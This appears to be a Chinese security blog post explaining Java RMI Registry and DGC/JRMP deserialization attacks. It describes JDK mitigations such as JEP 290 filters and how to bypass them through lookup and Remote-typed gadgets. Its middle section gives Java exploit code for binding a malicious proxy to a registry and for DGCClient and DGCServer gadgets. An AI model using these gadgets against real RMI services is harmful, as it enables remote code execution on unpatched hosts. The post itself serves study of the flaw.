Registry与DGC的攻击利用
创始人
2024-05-29 07:55:30
0

0x01

2022-02-03写的一篇文章。

0x02 Registry

Registry指的是RMI的注册表,攻击的目标是注册表所在的机器,一般注册表和RMI Server在同一个机器上,特殊情况下也会在不同机器上。

在我们通过LocateRegistry#getRegistry获取到目标开启的注册表之后,可以通过Registry#bind方法绑定一个对象到注册表上,而我们绑定的对象传送到目标机器上之后会对其进行一个反序列化。

反序列化触发点在RegistryImpl_Skel#dispatch方法上。

在这里插入图片描述
同样的,在获取到开启的注册表之后,可以通过rebind/lookup方法触发反序列化链,因为rebind/lookup方法传递对象过去之后目标也会对其进行反序列化。

漏洞点同样发生在RegistryImpl_Skel#dispatch方法上,其实dispatch这个方法就是通过一个switch来判断是bind/lookup/rebind等操作中的哪个,对应的case为如下。

在这里插入图片描述0

可以看到rebind/lookup操作都会触发反序列化

在这里插入图片描述

0x03 Registry修复

在JDK8u232_b09版本之前对Registry被攻击有两处修复,第一处修复是在JDK8u121之后对注册表可以反序列化的类进行了一个限制,是一个白名单的限制。实现限制的方法为RegistryImpl#registryFilter。(这里是 JEP290的防御操作

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

第二处修复是在JDK8u141之后,在JDK8u141之前bind/rebind/lookup都可以触发反序列化,但在此版本之后对bind/rebind的case语句块进行了修改,在反序列化前增加了一个检查,检查调用bind/rebind的机器是否为本地,限制了调用源只能是本地。

在这里插入图片描述

其实在JDK8u141之前就已经存在这个checkAccess方法了,也就是这个限制调用源本来就存在,但是因为在反序列化之前没有调用这个方法进行检查,那么这个限制也就相当于没有。

第三处修复在JDK8u232_b09之后,在处理bind/rebind/lookup方法的case语句块中如果反序列化时发生错误或者反序列化完成之后类型转换错误则会调用call#discardPendingRefs方法,将现存的DGC连接清除掉,也就无法使用下面的DGCClient/DGCServer Gadget,见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40(此处以及下面说的DGC就是网上说的JRMP)

在这里插入图片描述

0x04 Registry绕过

那么在JDK8u141之后怎么攻击利用Registry呢?调用源检查只限制了bind/rebind方法,对lookup方法没有进行限制,那么就可以用lookup方法进行触发反序列化链。

对于第一个白名单限制,可以利用白名单里的Remote及实现此接口类以及子类构造Gadget进行利用,当然其它类如果能找到利用点也是可以的。

0x05 Registry攻击实现

  1. 利用常规的Gadget,实现执行任意命令等效果
  2. 利用DGCClient Gadget,此Gadget被反序列化后可以让目标连接我们架设好的恶意DGC服务器(此处的DGCClient就相当于ysoserial的payload/JRMPClient
  3. 利用DGCServer Gadget,此Gadget被反序列化后可以让目标在指定端口开启DGC服务(此处的DGCServer 就相当于ysoserial的payload/JRMPListern
  4. 利用注册表上可以调用的方法,使用恶意对象作为参数传递过去之后,目标会对恶意对象进行反序列化操作,此时触发Gadget
public class RMIRegistryExploit {public static void exploit(){try {Remote remote = (Remote) getObject();//Remote remote = (Remote) DGCClient.getObject();//Remote remote = (Remote) DGCServer.getObject();Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);registry.bind("ky0202"+System.nanoTime(),remote);}catch (Exception e){System.out.println(e.getCause().getCause().getCause().getMessage());}}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);exploit();}public static Object getObject() throws Exception{Hashtable hashtable = (Hashtable) Collections07.getObject();// hashtable 为 invocationHandler 的一个字段,那么反序列化的时候也会反序列化这个字段,进而触发 GadgetInvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{Retention.class, hashtable});// 把 Remote 对象反序列化,因为 invocationHandler 为其一个字段,反序列化时会反序列化其字段,也就是调用 AnnotationInvocationHandler#readObject 方法触发 GadgetRemote proxyRemote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);return proxyRemote;}
}

根据Gadget修改获取的对象即可,这里使用的是bind触发,最好的方式是使用lookup触发,但是这里没有实现。

DGCClient Gadget

/** Gadget:*   RemoteObjectInvocationHandler#readObject*     RemoteObject#readObject*       UnicastRef#readExternal*         LiveRef#read*             DGCClient#registerRefs* */public class DGCClient {public static Object getObject() throws Exception{TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1",9999,null,null);LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);UnicastRef unicastRef = new UnicastRef(liveRef);RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);return remoteObjectInvocationHandler;}public static void main(String[] args) throws Exception{RemoteObjectInvocationHandler remoteObjectInvocationHandler = (RemoteObjectInvocationHandler) getObject();byte[] serialize = SerWithUnSer.serialize(remoteObjectInvocationHandler);SerWithUnSer.unSerialize(serialize);}
}

DGCServer Gadget

/** Gadget:*   UnicastRemoteObject#readObject*     UnicastRemoteObject#reexport*       UnicastRemoteObject#exportObject*         UnicastRemoteObject#exportObject*           UnicastServerRef#exportObject*             LiveRef#exportObject*               TCPEndpoint#exportObject*                  TCPTransport#exportObject*                    TCPTransport#listen* */public class DGCServer {public static Object getObject() throws Exception{Constructor constructor1 = RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});constructor1.setAccessible(true);Constructor constructor2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, constructor1);constructor2.setAccessible(true);UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor2.newInstance(new Object[]{new UnicastServerRef(6666)});Reflect.reflectSetField(UnicastRemoteObject.class,unicastRemoteObject,"port", 6666);return unicastRemoteObject;}public static void main(String[] args) throws Exception{UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) getObject();byte[] bytes = SerWithUnSer.serialize(unicastRemoteObject);SerWithUnSer.unSerialize(bytes);}
}

调用注册表可以调用的方法,然后传递恶意对象进去,让目标对传递过去的恶意对象进行反序列化操作,这时即可触发 Gadget,反序列化触发点在UnicastServerRef#dispatch方法,这里遍历反序列化传递过来的参数,在unmarshalValue方法中存在反序列化操作

在这里插入图片描述
这里如果调用的方法可以传递任意对象或者存在Gadget的对象,就可以直接传递恶意对象进去,否则需要利用动态修改字节码的技术把恶意对象作为参数传递进去。(可以参考后面列的文章

0x06 DGC

前面通过利用DGCClient/DGCServer Gadget攻击Registry之后,可以使目标连接某一特定DGC服务器或者在指定端口开启一个DGC服务,这时可以进一步利用。

在用DGCClient Gadget攻击成功目标之后,目标会去连接指定的DGC服务器,这时候我们可以架设一台恶意DGC 服务器,让目标连接我们服务器的时候,返回一个恶意对象,这时候目标会对返回的对象进行反序列化,此时触发 Gadget(因为DGC通信过程中都是序列化的形式进行的,所以不管是客户端还是服务端都存在反序列化的点,这里的架设恶意DGC服务器利用ysoserial的exploit/JRMPListern即可

反序列化触发点在StreamRemoteCall#executeCall方法上

在这里插入图片描述
在用DGCServer Gadget攻击Registry之后,目标会在指定端口开启一个DGC服务,这时可以架设一个恶意的DGC 客户端去连接目标开启的DGC服务,并连接之后发送恶意对象,这时候目标会对客户端发送的恶意对象进行反序列化,此时触发Gadget ,搭建DGC客户端使用ysoserial的exploit/JRMPClient即可

反序列化触发点在DGCImpl_Skel#dispatch方法上

在这里插入图片描述

0x07 DGC修复

在JDK8u232_b09之后,在DGCImpl_Stub#dirty方法上设置了反序列化的白名单,而dirty方法是StreamRemoteCall#executeCall方法的必经之路,所以这也就阻断executeCall方法反序列化恶意对象了。见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l4.50

在这里插入图片描述
在JDK8u121之后对DGCServer可以反序列化的类进行了一个白名单的限制,限制的方法在DGCImpl#checkInput(这里就是JEP290的限制,那么也就是在JEP290之后就无法利用exploit/JRMPClient了

return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;

0x08 参考文章

https://www.anquanke.com/post/id/197829
https://xz.aliyun.com/t/2223
https://blog.csdn.net/qsort_/article/details/104814905
https://blog.csdn.net/qsort_/article/details/104969138
https://blog.csdn.net/qsort_/article/details/104874111
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...